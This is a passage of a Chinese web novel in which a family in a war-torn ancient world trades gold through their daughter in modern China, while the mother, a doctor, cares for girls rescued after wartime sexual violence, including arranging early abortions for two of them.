“淼淼,你明天去找王所长,告诉我们在这边发现了一座金矿, 储量不小, 问问上面有没有合作的意向。” 如果有,那就能赚大钱了! 这里的矿产开采还是手工流水作用,效率极其低下。如果能把现代化的机械弄过来, 效率一定会大大提高。 他们现在缺钱,要赶紧把买船的钱挣到手。 靠简单的手工流水作业,虽然也能采矿炼金,但是太慢了。 有上面的合作,提供技术和指导,不仅能省时,还能省事儿。 “好!”袁淼点头了。 “你顺便再问问,他们要不要黄金?这次的量不小。” 他知道现代的黄金虽然兑换的价高,但是也要看纯度,这里的黄金提炼水平远不如现代,所谓的足金,纯度并没有100%,最多也就是96%,95%。 后院的那批黄金,有三箱没有刻字,他不知道它们的份量和纯度,这些只能传给女儿,让她在现代找专业人士进行鉴定。 以前的量小,女儿可以找奢饰品店兑换,但是现在的量大,再找个体兑换,那就不合适了。 人心复杂,先不说个体能不能吃下,看到大量黄金,他们肯定会对黄金的来源产生好奇。 要是被居心叵测的人给盯上了,那就容易出事。 谢云溪有点好奇了:“你说的量不小,到底有多少?” 袁博文笑了笑:“那三箱没有刻字的,一块应该是十两,整箱有一万两,如果是足金,按照现在的金价,那一箱差不多能兑到两亿多!” “多少?”谢云溪怀疑自己听错了,镜子里面的袁淼也是一副懵掉的样子。 袁博文伸出了两根指头,晃了晃:“两亿!” 袁淼吸了一口冷气。 谢云溪愣了愣后:“那三箱就是三万两?” 兑换成rmb,那就是六亿? 她有点不敢相信。 袁博文点了点头,心情不错:“除了这三箱没有刻字的黄金,还有两箱黄金,是出自祥和银楼的,不过,没有那么多,一箱只有两千两,都是足金。另外,还有一箱出自汇源堂,有五千两,其他的,零零散散,我估计也有四五千两了!” 袁淼听呆了,光父亲说的这些黄金,价值就至少上十亿了。 不愧是北地第一重城!只清点排查了一两天,就搜出了这么多黄金。 那其他资产,还能少吗? 谢云溪听完,也有些懵了。 “这么多黄金,咱们都拿走吗?会不会不太好?” 袁博文笑了下:“你放心,江虎是个上道的,他把东西拉到府衙来,怎么处理,我说了算。” “再说了,后院里的那些可不止黄金,珠宝首饰,金银玉器,古玩字画,珍稀药材等等都有,三四十箱呢。听说今天又抬了十多箱进去,我还没去看呢。” “咱们先挑些黄金,兑换成钱。何家那边不是还座金矿吗?这个不会缺。我估计北凉人要来了,咱们该准备的,也要准备起来了。军/需粮草,军中的日常用度这些都要钱。” 谢云溪点了点头。她知道女儿手上没钱了,打郴州的时候,她手上的钱差不多都买了军/需。 她接收到后,就往这边送了一批。剩下的还放在码头那边的宅子里,由商远看着。袁博文给他留下了一支小队。 威远镖局的掌门贺威已经去了岭南送信,来回至少得一个月。 “你这次准备再买多少?” 袁淼也看向了袁博文。 袁博文想了想:“枪/炮之类还得再买一些,还有粮食……” 军/械是消耗品,用掉了得赶紧补充。粮草是重中之重。 他已经把大刀营的人抽了一半,调到了新兵组。 在两场战中,现代化军/械近乎降维打击一样的效果使得全军侧目,他们给这批新兵取了个名字,叫神/器/营。 军中的人对现代化军/械好奇极了,都在打听消息。不过,他早就告诫过那些新兵,组里的一切不得对外泄露,否则严惩不贷。 但即便是这样,也阻止不了人们的好奇心。他也因此惩罚了好几个人。 新兵们太少了,第一批他只挑了四五十个人,后来又加了些。但在这两场战斗中,新兵们伤了几个,他便把大刀营的人抽了一半,调入了神/器/营。这几天正在训练。 即便是三百多人,他还是觉得太少了。晋州和郴州现在都在征/兵。不过,他更相信晋州的人。他已经给周涛传了口信,让他再挑两百人。 兵多了,军/械自然得跟上,还有车。 有了车,再加上qiang,北凉骑兵的优势不足为惧。 袁淼已经拿出了纸笔。 袁博文说:“你先别急,等我让吴万乾算出了军/需缺口后,再给你准确数字。” “好,除了军/需,其他的要买吗?” 袁博文看向了谢云溪。谢云溪说:“你再买些药吧。” “还是上次的那些药吗?” “不是。”谢云溪回答,点了几种妇科用药。 袁淼记着记着,停了手:“妈,这些药……你为什么要买这些药?是不是……” 谢云溪并没有跟袁淼说起营帐里的那些女人,怕她多想,她连忙打断她的话:“我很好,你不用担心。” “我让你买这些药,是为了以后。这里的人们卫生习惯不好,女性的身体情况普遍堪忧,中医对这一块的治疗并没有很好的疗效,所以,我才让你买这些药。” 袁淼明白了,记下了药品的名称和数量。 “你们要是有不舒服,一定要跟我说……除了药品,还需要其他的东西吗?” “暂时就这些吧。”谢云溪想到了那两个怀孕的女孩,但得问过她们之后,才能决定怎么做。 袁博文等她们说完话后,又道:“淼淼,现在的对讲机还有在用吗?” “有啊!”袁淼的眼睛也亮了,“爸爸,你要买对讲机吗?你们那边可以用吗?” “我觉得应该可以。我记得对讲机是通过无线电波传送信息的,对吧?” 袁淼没有用过对讲机,她只用过手机,对这些不了解。 谢云溪点头:“没错,对讲机不需要基站,上面有根天线,可以接收无线电波,在一定距离范围内,两部频率相同的对讲机可以通话。” “以前新江市医院个别科室就配备有对讲机。” 袁博文喜形于色。通讯的问题困扰他一段时间了,晋州的兵不多,斥候营的人有一百多个,是所有营类中最累的一组,每天为了打探消息,疲于奔命。一旦战起,他们也是冲到最前面的人。 后来,有了望远镜,斥候营的人就轻松了许多。但是传递消息,还是费时。 手机,虽然便捷,但是在这里不能用,这里没有网络和基站,充电也不方便。大哥大也一样。他后来就想到了对讲机。 “对讲机,要买多少?”袁淼问。 袁博文想了想:“你先了解下情况,确定爸妈这边能不能用?如果能用,先买一百部。” 具体效果怎么样,得东西到手之后才知道。 袁淼记下来了。袁博文让她等会,去后院去拿了几块黄金,传给了袁淼。 “这几块黄金上面都没有刻字。你找个懂行的看一看,这一块是不是十两?纯度是多少?再去找王所长。” 有了数据,沟通也有了凭据。 袁淼一边点头,一边看着手中的黄金。大小与她以前见过的十两差不多,但上面光可鉴人,什么都没有。 跟父母联系后,袁淼就把谢云溪需要的药品传给了沈若臻,让他尽快购买。 又打电话给楚萧,询问对讲机的事情。 “对讲机?袁总想要哪一种?” 袁淼正在网上查看对讲机的相关信息,确定了父母那边能用。它是内置了发送和接收功能,不需要第三方设备。在电量满足的情况下,一定距离范围内,频段一致,两部对讲机就可以实现通话了。 “高频对讲机,300—3GHz,有没有比较好的?最远距离能达到多少公里?” 楚萧推荐了几款,“袁总,您想要买对讲机,现在数字对讲机很流行,最远距离可以达到5千公里了。” “您说的这种,以前用得多,通信距离受环境影响较大,在城市里面,通信距离通常在1到10公里之间,如果是农村或者开阔的地方,通信距离可以达到10—50公里。” 袁淼想了想父母那边的环境。北地地广人稀,地形大概与这里的北方差不多,有些复杂。但是只要能满足10公里左右的通信范围,就能战场中有很大的优势。 普通人步行,十公里差不多需要两到三个小时,骑了马,十公里也要一个小时左右。 父亲的部队有车,一到三个小时,再加上相对便捷的通信,可作为的地方太多了。 “就这种吧。” 她选择了楚萧推荐的一款,让他尽快联系购买一百部。 第二天一早,袁淼就带上了黄金,准备找家奢侈品店鉴定。这次,她不打算再找宋记和大福源。这两家店的经理都认识她。 父亲说的对,在个体经营场所,不适合兑换大量黄金,一旦引起注意,很容易出事。 虽然,她相信宋颜。但是宋记并不是他一个人的。 至于周晟,他们还没有熟到交心的地步。 来到一家名为仟禧的珠宝店,袁淼让张青云在车上等,自己下车了,看了看门店的规模和环境。走了进去。 店里的装修富丽堂皇,工作人员迎了上来:“您好,小姐是要看首饰吗?” 袁淼看了一圈店里,在柜台内的墙上看到今天的金价。 每克512元。 “这里可以兑换黄金吗?”她问。 “可以的,您这边请!” 袁淼在工作人员的指导下,来到了柜台前,询问过后,拿出昨天晚上袁博文传给她的金块。 柜台里面的工作人员愣了愣后才接,查看过后,笑着说:“小姐,您这块金子是最近才出来的吧?” 袁淼心里一惊。奢侈品这一行真是卧虎藏龙,眼前的这人年纪不大,居然只看了几眼,就认出她拿出的金子出产的时间不长。 她没有回答是与否,而是淡笑着问:“有问题吗?” “并没有!”工作人员依旧笑着说,“您这块黄金非常新,这很少见。” 袁淼没有说话,心里已经在打算,要给博云珠宝也聘请一位资深黄金鉴定专家。 博云珠宝目前并没有开展金银回收业务,主要经营的还是古风首饰。不过,这方面的人才,可以培养起来了,与奢侈品有关的人才,还是自己人用起来更放心。 工作人员看过后,又拿出了工具,忙了好一会儿,抬头说道:“小姐,您这块黄金重五百克,纯度是95%,按照我们仟禧黄金兑换的要求,需要支付每克15元的手续费和……每克30元的折旧费,今天的金价是512每克,减去手续费和折旧费,您这块黄金可以兑换到二十三万三千五百元,您确定要兑换吗?” 袁淼笑着点头。她并没有抠工作人员话里的漏洞———折旧费是针对陈旧黄金,而她拿出来的黄金,工作人员刚才自己都说是新出。 她今天来这里的目的,是为了确定黄金的份量和纯度,现在目的已经达到了。 同样的黄金,她手上还有两块,这是预备给王振声过目的。 金块的重量和纯度出来了,父母可以放心了。他们后院的那些黄金兑到十亿,不成问题。 签订了合同后,兑换的钱也到了账,袁淼离开了。 她前脚刚走,柜台里面的工作人员后脚就打了一个电话。一会后,他就出现在大福源魔都总店总经理的办公室了。把刚收到的黄金连同合同一并递给了唐伟明。 唐伟明先看了一眼合同,戴上手套后,才拿起黄金。 只看了一眼,他就皱了皱眉。 “这是……新金?” 工作人员恭敬回答:“我问过那位小姐,她并没有回答。” 唐伟明哼了一声,“要是你,你会回答这个问题吗?” 工作人员尴尬笑了笑。如果是他,他也不会回答。刚出矿的新金,连标识都没刻上,除了是偷出来,他想不到第二个来源了。 第90章 第90章 合作 “纯度95%……”唐伟明摇了摇头, “现在黄金,足金24K的纯度都是99%,18K也有75%, 95%的纯度……只有以前的黄金, 才有这样的纯度……到底是哪家出来的?” 工作人员没有说话。他知道现代黄金的提炼工艺比过去先进了不少。过去所谓的足金, 纯度一般只有96%, 95%等,而现在的足金, 纯度都到了99%以上。 “兑换这块金子的顾客长什么样?”唐伟明抬起头。 仟禧珠宝店的赵经理想了想,“那位小姐年纪不大,大概二十三四岁左右,长得很漂亮……店内的监控应该拍到了她!唐总稍等, 我让店里的工作人员看看监控。” 赵经理打了个电话,没多久就收到了监控视频, 他确认过后,把视频递给了唐伟明。 唐伟明看了一眼就愣住了,很快又将剩下的视频快进看完。 “行了,你回去吧!今天的事情不要跟任何说起, 视频也不要外传。” 赵经理离开了。唐伟明打了一个电话,但电话那头并没有接通。他想了一会,拿起了桌子上合同和金块离开了办公室。 来到了周家老宅,唐伟明看到了正在品茶的周老爷子。 “周董!” “你来了?坐!”周群倒了一杯茶,递给唐伟明, 笑眯眯说:“尝尝, 今年的新茶,味道不错!” 唐伟明知道老爷子喜欢喝茶,他也在这方面下过功夫。浅尝一口后, 他回味了一番:“很香!” 周群笑逐颜开,自己喝了一口后,问:“什么事儿?” 唐伟明连忙拿出兑换合同和金块。 周群没有看合同,只瞟了一眼金块,淡淡说:“新金?这是哪个店收到的?” “崇敬门那边新开的仟禧,兑换的人是袁小姐!” 正在斟茶的周群顿了顿,立刻放下了手中的茶盏,拿起金块,仔细看了看:“这个纯度没有99%吧?” “是没有。仟禧的赵经理鉴定过,纯度只有95%。” 周群的眉头不由得皱起:“小晟呢?让他赶紧过来一趟。” 唐伟明给周晟打了个电话,一会后,周晟出现在周家老宅。他看了唐伟明一眼,才跟周群招呼:“爷爷!” 周群冲桌子上的东西抬了抬下巴:“你看看这块金子。” 周晟接过唐伟明递过来的手套戴上后,拿起了金块,只看了一眼,便蹙了蹙眉。 “这是新金,哪个店收到的?” 唐伟明回答:“崇敬门的那家仟禧珠宝店,是袁小姐兑换的。” 周晟眉眼一跳,“袁淼?”他斩钉截铁说:“不可能!她不会偷东西!” 唐伟明低着头:“店里的监控拍到了兑换的全过程,确实是袁小姐。” 周晟的脸色一下子变得很差。 唐伟明没有再说话。他知道周晟对袁淼有好感。他心里也奇怪,袁淼不像是缺钱的人,她的博云珠宝每天的营业额至少六位数,前不久才在大福源兑换了四千多万元的黄金。 但是视频中的人的确是她,仟禧珠宝店门口停着的车也是她的。 一块还没有来得及刻字的黄金,只能是从矿业公司的流水线上出来的。如果这块黄金是其他人拿出来的,那他一定会认为是偷的,可现在拿出这块新金是袁淼的! 他知道老爷子和周少对袁淼的来历很感兴趣,还让他特意去了一趟新江市。虽然事后的调查并无破绽,但老爷子分明没有打消怀疑。 说实话,他也对袁淼很好奇,一个从新江市走出来的小姑娘,短短几个月的时间,居然从一无所有到拥有了两家规模不小的公司,身家至少上十亿。 说她背后没人,他都不敢相信。 仅在大福源就兑换了几千万的黄金。这样的人不会缺钱,除非……是有某种癖好,才会去偷盗! 新金这类东西,一般人接触不到,现在的矿企管理十分严格,尤其在安保这块。不是谁想偷就能偷得到的,不过,如果是内部人员…… 周群的心情一点儿都没有受到影响,反而看起来很不错的样子:“小袁手上的黄金不少啊,你们说,她家里会不会是做这一行的?” 唐伟明心里一跳,他的想法与老爷子不谋而合了。家里有矿,自然能接触到新金,手上有大量黄金,也不算出奇。 可开采黄金,不是一般人能办得到的。上面对这块的管控十分严格,个体想要拿到经营许可,难如登天。 大福源也算是国内排的上号的奢侈品店了,但是也没能拥有一张采矿许可证,只是与国内几家知名矿企有合作,由他们每年提供一定量黄金货源。 大福源是做金银珠宝首饰的,每年的黄金需求量不小。这些矿企,可以说是拿住了大福源的喉咙,一旦毁约,大福源就得够呛。所以,大福源的上层很是看重与这些矿企的关系。 “有可能!”唐伟明如实回答,“袁小姐前后仅仅在大福源就兑换了将近五千万元的黄金,一般人拿不出这个数。” 周群点了点头,“过几天就是我这老头子的寿宴了,小晟,你跟小袁走得近,邀请她一起过来,热闹热闹。” * 袁淼不知道自己拿出的黄金最终还是落到了大福源,她从珠宝店出来后,就来到了跟王振声约好的茶馆。 到达的时候,看到王振声已经在座位上了。 “不好意思,我来晚了!”袁淼抱歉说。 王振声笑了笑:“是我来早了!”他把菜单递给袁淼,“想吃什么?” 袁淼的心思不在吃上面,推辞了一番后,随意点了几样。 王振声仔细打量袁淼:“小袁,是不是你爸妈那边又遇到麻烦了?” 袁淼回想了一下,自己每次找王振声,好像都是遇到了麻烦,想请他帮忙。这次……很难得不是! 她笑了一下:“王所长,你们……要不要黄金?” 王振声愣了一下:“黄金?当然要!你有多少?” 他已经不敢小瞧袁淼了,上次袁淼找到他,想出手中药材,他没有当一回事,事后才知道,人家拿出来的是什么? 那些中药材在市面上都是可遇不可求的。杏园/春中/药厂的老总现在都在感激他。 现在,袁淼要出手黄金?这东西可是硬通货,是世界各国都默认的战/略/储/备物资!偏偏我guo的储/备量不多,连全球的前五都没有挤进去。 袁淼迟疑片刻:“差不多有……两吨吧。” 除了三万两没有标识的黄金以外,父母现在所住的府衙后院零零散散还有其他黄金,加起来也有一万多两。 祥和银楼规格二十两的黄金,纯度是96%,重量是一千克,四万多两黄金算起来差不多有两千千克……也就是两吨。 王振声差点被自己的口水噎到。 两吨黄金!这已经是一座小型金矿的全部储量了!我guo一年的黄金开采量也就一百多吨! “好好好!要要要!”王振声一连说了好几个要,摩拳擦掌问:“你看……这个什么时候交易?” 袁淼有点懵。她没想到王振声什么都没问,就直接跨越到什么时候交易这一步了? 她连忙说道:“王所长,我们手上的黄金纯度并不高,只有95%……” 祥和银楼的黄金纯度要略高些,另一家汇源堂的黄金,她还不知道纯度。但是她知道,绝对达不到现代的足金纯度。 王振声咽了咽口水。 纯度95%的黄金!这个纯度还不算高吗?18K的黄金,纯度也才75%! 黄金纯度高低这件事情,压根就不叫事!纯度低,再提炼提炼纯度不就高了吗?有些黄金制品,根本就不需要这么高的纯度! “这是样品,您看看。”袁淼又拿出几个金块,分别介绍,“这是二十两的,重一千克,纯度是96%……这种是十两的,重五百克,纯度是95%……” 王振声戴上了眼镜,虽然他对黄金知道的不多,连真假都分辨不出来,但是也没妨碍他看得津津有味。 看完后,王振声点了点头,取下了眼镜,笑容可掬:“不错,小袁,东西现在应该不在你手上吧?” “在我爸妈那边。” 王振声想了想:“你看明后天行不行?我们到你家里去……” 袁淼愣了片刻,连忙点头。一会后,又小心翼翼说:“……还有一件事情……” 王振声正在想买卖黄金这件事情,要联系谁?两三吨的黄金,可不是一个小数,肯定得往上报。 “你说!” “我爸妈在那边发现了一座金矿……” 王振声听得呆住了。 金矿?! “……储量不小,我爸让我问问,不知道……你们愿不愿意一起合作开采?” 王振声看着袁淼,好一会儿才回过神来。压下了心里的激动:“小袁,这件事情我不能马上答复你。” 袁淼明白。黄金是战/略/储备物资,合作开采并不是一件小事,这件事情不是王振声一个人能做主的。 “你能跟我详细说说,你爸妈发现的那座金矿的具体情况吗?” 袁淼把昨天晚上袁博文告诉她的信息转述了一遍。 王振声听完后,连连点头,按住了心里的激动:“好!情况我已经知道了,是否合作?以及以什么方式合作?我会尽快给你答复!” 袁淼道了谢,跟王振声敲定了后天交易黄金,交易的地点就在她家里。 王振声心里感慨,两吨黄金!还有一座金矿!这才是两个世界互通有无,正确的打开方式。 他关切问道:“你爸妈在那边都还好吧?上次你想打听大型船只的信息,我这边了解到国外有一家跨国旅游公司,他们有一艘能承载大约六百多人的大型游轮想出售,不过是二手的,你们有兴趣吗?” 袁淼连忙点头:“……这艘游轮已经服役了几年?他们为什么要卖?” 王振声笑了笑:“你问的这些问题,我也不清楚,等我了解清楚后,会马上告诉你!” “谢谢王所长!” 王振声笑得眼睛都眯成了缝。 连续解决了两件事情,袁淼的心情很好,在茶馆又坐了一会,跟王振声说了一会儿话,离开了。 * 谢云溪来到枫叶巷时,宋婆婆刚把厨房收拾妥当。昨日夜里,谢云溪让人送了银子和一些日常生活用品过来。今日一大早,宋婆婆就买了米和菜,刚张罗完吃喝。 “昨日晚上怎么样?”谢云溪问。 宋婆婆笑着说:“都好!昨日晚上我烧了些热水,她们能动的,都让她们洗漱了一番!夜里有几个哭,后半夜就好了。不过,今日早上有几个想回去,我跟她们说,这事得等夫人来了之后再说,她们也没有闹。” 谢云溪点了点头,看了看厨房里面。收拾的干净齐整。 昨天,这栋宅院里面只有宋婆婆和小豆芽,以及那些从营帐里接过来的女孩们,宅院外面倒是派了护卫看守。 今天她过来的时候,看到院子里打扫过了,一切井井有条。宋婆婆是个利索的人。 从厨房出来,谢云溪就来到右边厢房。 这间房里面只住三个人,其中一个正是昨天担架抬进来的,叫沈悦兰,年仅十四岁。家里是开银楼的,郴州没有沦陷之前,她家的金镶玉银楼算是郴州城中仅次祥和银楼的存在。 看到谢云溪等人进来,房间里的两个半大女孩站起身。沈悦兰依旧躺着,一张巴掌大小的脸上,一点血色都没有,眼睛虽然睁着,却一点儿光彩都不见。 不过,她的情况还是比昨天略好了一些。昨天,她连睁眼都费劲。 谢云溪暗叹口气。这丫头属实太惨,原本千娇百宠长大。郴州沦陷之后,她家的银楼被□□/掠一空,父亲当场就被割了脖子。 北凉人挨家挨户搜刮时,看到了她和她嫂子,拉了就要走,她哥哥要阻拦,结果只一个照面就丢了性命。 在北凉人的营帐里,她嫂子护了她几天,嫂子人没了之后,她也遭了秧。才十四岁的女孩儿,身体还没有完全长开,就遭受了惨无人道的折磨。 也不知道这次能不能挺过来。 谢云溪摸了摸沈悦兰的脉搏,又问:“她今天吃了早食吗?” 旁边站着的一个女孩回道:“只吃了几口。” 谢云溪看了看回话的女孩,她记得她叫康小月,家里是做豆腐的,是所有女孩当中受伤较轻的其中之一。 昨日安排房间时,念荟和关景钰等人用了心,特意将两个受伤较轻的与沈悦兰安排住一间,并在临走的时候嘱咐了一声,让她们帮忙看着点。 “是你帮忙喂给她吃的吗?” 康小月连忙点头,“我和胡姐姐一起喂的,但是沈小姐吃的并不多。” 她所说的胡姐姐,是这间房里另一个同住的女孩,叫胡冬梅,是一家大户人家的丫鬟。 郴州沦陷的时候,她们逃到城外的庄上,但后来还是没能逃过北凉人的扫荡,小姐和几个丫鬟都被带到了这里。几个月过去了,其他人都没了,就她一个人活了下来。 谢云溪看了看沈悦兰身上其他的伤口后,给了念荟一个眼神。念荟会意,让房间里的其他的人先行出去,只留下了宋婆婆。 贺天凤在沈悦兰背后垫了个枕头。谢云溪戴上手套后,看了看沈悦兰下/身的伤。 伤口不规则,最长的累及到膀/胱的位置了。昨天已经用过郎中留下来的药膏,伤口没有那么狰狞了,但还是很严重,有的地方已经发黑,散发出刺鼻的臭味。 谢云溪将要清创的地方指给念荟看,而后对沈悦兰说:“我知道你能听见,一会儿我们要给你处理伤口,会有些疼,你且忍着点。” 虽然,她带了止痛药,但效果不好说,这与个体耐受有关。 也不知道沈悦兰听见了没有,她一点儿反应都没有,像个只会喘气的纸人。 谢云溪也没在跟沈悦兰说话,指导念荟铺好治疗巾后,开始进行消毒清创等处理。 一番忙碌后,念荟的额头上都出了汗。 谢云溪让贺天凤把外面的人放了进来。对康小月和胡冬梅说:“这两天辛苦你们了,若是发现沈小姐额头发烫,一定要告诉宋婆婆。” 康小月点头如捣蒜。 谢云溪离开的时候,康小月追了上来:“袁夫人!” 谢云溪回过头。康小月犹豫了一会儿:“袁夫人,我……想回家!可……可以吗?” “当然可以。”谢云溪笑着回答,她注意到很多目光看了过来,“我把你们带到这里来,是为了方便郎中给你们看病,你们想回去当然可以。不过,你们知道你们家里还有什么人在吗?” 一些人低下了头,房间里有人轻声抽泣起来。 康小月左右看了看,说:“我知道!我哥哥嫂嫂一定在家。” “北凉人进城的时候,他们去了城外的十里坡!” 谢云溪点了点头,又问:“你家的豆腐铺在哪儿?” “就在城西的柳树胡同,一进去就能看到康家豆腐铺的招牌……” 谢云溪让念荟拿了一份药来,交给康小月。 “这三包药是昨日郎中开的,你拿回去后每包分三次煎服……药吃完了,最好还是让郎中再看看。” 康小月接了药包,噗通一声跪下了,哽咽着说:“夫人的大恩大德,我来世再报!” 她说着要磕头,念荟赶紧把人搀扶了起来。 谢云溪笑着说:“回去后,要是受了委屈,可以再回来,这儿的门会一直为你们开着。” 康小月走了。一些人的心也飞了。谢云溪什么都没有说,想要离开的,提出来后,她不会阻拦。但结果怎么样,就看她们的造化了。 90-100 第91章 第91章 处理 把几个病情较重的女人看完后, 谢云溪让念荟把两个怀孕的叫过来。 女孩们进门的时候有些畏缩,不敢抬眼看人。 她们一个十六岁,一个十八岁。十八岁这个, 名叫姜云枝, 已经嫁人, 夫家在郴州有个杂货铺。 另一个叫蒋新月, 今年才十六岁。郴州沦陷之前,她家里略有薄产, 父亲是个老秀才。 谢云溪看着她们,一时间不知道怎么开口。 两个女孩也都低着头,没有说话。 姜云枝到底年长些,一会儿后, 抬眼看了一眼谢云溪,飞快垂下, 胆怯问道:“袁夫人叫我们进来,是有什么事吗?” 谢云溪微微颔首:“姜云枝,你的父母还在吗?” 姜云枝摇了摇头,“我……我不知道。” 谢云溪又看向蒋新月:“你呢?蒋新月, 你家里还有什么人在?” 蒋新月也摇了摇头。 她们被虏到北凉人的营地后,就再也没有回过家了。 谢云溪看着她们。 长痛不如短痛。 她开口说道:“我把你们叫过来,是因为你们跟其他人不一样,你们有了身孕!” 两个女孩惊愕抬起头,脸上瞬间没了血色。姜云枝的眼泪一下子出来了, 摇着头, 惊慌失措,喃喃说:“不!不!不会的!不会的!” 蒋新月的腿脚一软,软绵绵往下倒。谢云溪旁边的贺天凤眼疾手快一把扶住了她。 谢云溪摸了摸蒋新月的脉搏, 顺手在她的虎口使劲掐了一把。 蒋新月睁开眼睛了,一把抓住了谢云溪的手,京@墨@筝@狸像是抓着了救命稻草,“袁夫人救我!夫人救救我!我不能……我不能有孩子……” 她说着,泣不成声。 一旁的姜云枝,脸上的眼泪似线一样的往下流。 谢云溪暗暗叹了口气。才十六岁的女孩,还没有嫁人,就有了身孕,这换了任何一个人都无法接受,况且又是在那般不堪的情况下。 另外一个虽然十八岁了,已经嫁人,可肚子里的孩子将将一个多月。姜云枝离开自己的夫婿已经不止一个多月了。 “昨日郎中已经看过了,你们的月份尚小,若是用药,是可以打下来的。但是你们的身体情况并不好,有可能在用药的过程出现意外,因此丢了性命。” 蒋新月紧紧抓着谢云溪的手,眸子凄凉且恳切,摇头说:“我不怕死,袁夫人,我,我不能这样回去!我爹,我爹他会……” 她说着,眼泪汹涌而出。 原本默默流泪的姜云枝突然冲过来跪下了:“袁夫人,我……我也不能要!” 谢云溪暗暗松了一口气,她也不赞成她们留下孩子。被北凉人虏走,已经让她们的余生变得十分艰难,如果再留下了孩子,不敢想象她们会面对怎样的人生。 这里是个男权至上的世界,对女人的贞洁看得无比重要。失去贞洁已经是刻在她们身上的烙印了,再有北凉人的孩子,估计她们的父母兄弟也容不下她们了。 谢云溪也很庆幸,两个女孩怀胎的月份都不大,蒋新月孕二月有余,姜云枝孕一个多月。 “凡药三分毒,这次你们用了药后,可能以后不容易再有孩子,你们也愿意吗?” 蒋新月连连点头,姜云枝抹了一把眼泪,也点头了。 “都起来吧。”谢云溪说,“我答应你们,不过,在给你们用药之前,我还得给你们做几个检查。” 服用打/胎药是件很危险的事情。这里妇人生产犹如走一趟鬼门关,中途想要终止妊/娠,这里常用的药有藏红花麝香等,但是效果并不好,很多人因此丢了性命。 这方面的西药虽然也会出现这样或那样的副作用,也有死亡病例的记载,但是比中药还是靠谱多了。 不过,有些堕/胎的西药对孕胎的时间有要求。 虽然昨日郎中给姜云枝和蒋新月都把过脉,也把出她们怀胎的时间,但这个并不一定准确。 刚好,她有一台B超机,可以通过影像中孕胎的发育情况,推断出怀孕的具体时间。这比中医把脉更让放心。 不过,这次谢云溪来郴州,并没有把B超机带过来。 “你们先在这里安心住几天……今日下午我会让人来接你们去做检查,检查结果若是还好,明天你们就可以用药了。” 姜云枝和蒋新月连忙道谢。 打发姜云枝和蒋新月出去后,谢云溪小声嘱咐念荟:“你去找游八斤,让他开车带你回一趟晋州,我在后院里留下了一台机器……”她详细说了B超机的特征,“你把它带过来!今日下午,我要用。” “好,我现在就去!”念荟答应了,看了一眼贺天凤后,离开了。 谢云溪忙完后,也要回府衙了,关景钰拖着叶淑婉过来了。 “谢姨,我能带婉姐姐一起回府衙吗?” 谢云溪看了看叶淑婉。 叶淑婉不敢看谢云溪,慌慌张张把自己胳膊从关景钰的手上挣脱开来。 “不!不!袁夫人,我,我在这儿……挺好……” 谢云溪笑了下,“当然可以,不过叶小姐的身子还没有好全,每日还要服药,你们住的芷兰院没有小厨房,她在这里更合适。” 叶淑婉原本有些僵硬肩膀松懈了下来,曲了曲身,依旧垂着头,低声说道:“多谢袁夫人!” 谢云溪离开了枫叶巷,回府衙路上问关景钰:“你是不是觉得我有些不近人情?” 关景钰连忙摇头:“谢姨这么做,定然是有原因的!” 她想到郴州如今的局势。 一切以大局为重!这是关正从小就教导她的。 谢云溪笑了:“其实叶小姐过来跟你们一起住,并没有什么。但是我想叶小姐并不一定愿意。” 关景钰愣住了。 谢云溪又说:“有一件事情,我一直没有告诉你们。” “在叶小姐她们被接到枫叶巷之前,她们当中有一个人逃回了家去,但是第二天,她就被发现在家里悬梁自尽了。” 关景钰吓了一跳:“怎么会这样?” “事后霍副将过去看了,觉得她应该是先被勒死,后来又被放到梁上的。” 关景钰睁大眼睛。 谢云溪轻叹了口气,“人言可畏!所谓至亲,并不一定可靠!不是所有的父母都把儿女看得无比重要!” 关景钰愣住了,过了一会儿,才明白谢云溪话里的意思。她的脸色一下子变得不好了。默默垂下了头。 “我知道你和叶小姐的交情匪浅,对她的遭遇只有怜惜,但是你想过其他人吗?”谢云溪又问。 关景钰把芷兰院的几个人想了一遍。 “她们跟叶小姐非亲非故,即便是可怜她,也应该做不到跟你一样吧?不仅仅是人言可畏,有时候不需要说什么,只一个态度和一个眼光就能让人承受不了。” 谢云溪并不是想挑拨关景钰和芷兰院其他女孩的关系,而是女人堆里一向事多。 关景钰和芷兰院的其他女孩各方面情况差不多,平日里有些小心思无关大雅。但如果叶淑婉加入进来,那就不一样了。 受了那种伤害的女孩除非神经特别大条,一般性格都会发生变化,轻者变得脆弱且敏感,严重的甚至会出现精神障碍。 一两句没有过大脑的话,一个不经意的眼神,都会让她们多想。 现在芷兰院这些女孩们几乎没怎么吃过苦,她们不会明白在北凉人的蹂/躏下活着的惨痛,也无法做到与叶淑婉等人共情。 叶淑婉在芷兰院不会自在,还不如就留在枫叶巷,大家经历了同样的伤痛,伤口一样疼,在那里没有歧视和另样的目光,反而会更自在些,若是能彼此鼓励打气,时间长了,慢慢就会走出来。 关景钰想了一会儿,小声说:“谢姨,是我考虑不周!” 谢云溪轻轻拍了拍关景钰:“你的心情,我知道。叶小姐受了这么大磋磨,你怜惜她,想对她好……可以多陪陪她,跟她说说话。” “我原本打算等她们病好之后,开个织坊,教她们织布做工……她们的生计有了着落,也有一技之长傍身,以后的日子会越来越好的!” 关景钰听得眼睛发亮,抓住了谢云溪的手:“真的吗?谢姨,你真好!” 谢云溪被她逗的一笑。感慨说:“我呀,现在就希望她们早点好起来!” 关景钰重重点头:“一定会好起来的。” 回到了府衙,谢云溪睡了一觉,醒来的时候,念荟已经回来了。谢云溪把B超机调试好后,让贺天凤去枫叶巷把姜云枝和蒋新月接过来。 谢云溪怕吓到人,让姜云枝和蒋新月在进操作室的时候戴上了眼罩。 姜云枝躺到诊疗床上时,紧张的两只手攥紧了衣裳。 “不用怕!放轻松点!很快就好了!”谢云溪柔声安慰。 姜云枝点了点头,“袁夫人,我听说,您要开织坊是吗?” 谢云溪愣了愣,突然想到她下午是在睡觉,但是关景钰她们却去了枫叶巷。 不用猜,开织坊这件事情肯定是关景钰传出去的。 “是有这个打算。” 谢云溪一边让姜云枝摆好体位,一边回答她的问题。 姜云枝的心思转移到话题上,也没有那么紧张了。 “那我……我可以加入吗?” “当然可以!” 谢云溪掀开了姜云枝的衣裳,姜云枝吓了一跳,浑身都变得僵硬起来。 谢云溪轻轻拍了拍她的手背,“不要怕!” 姜云枝这才松手。 谢云溪看清楚影像后,对姜云枝说:“可以了!” 姜云枝窸窸窣窣起来,站在一边,犹豫了一会后,小心翼翼问:“袁夫人,我……我的检查没事吧?” “没问题,明天就可以用药了……”谢云溪顿了顿,“你准备好……月/事布就行。” 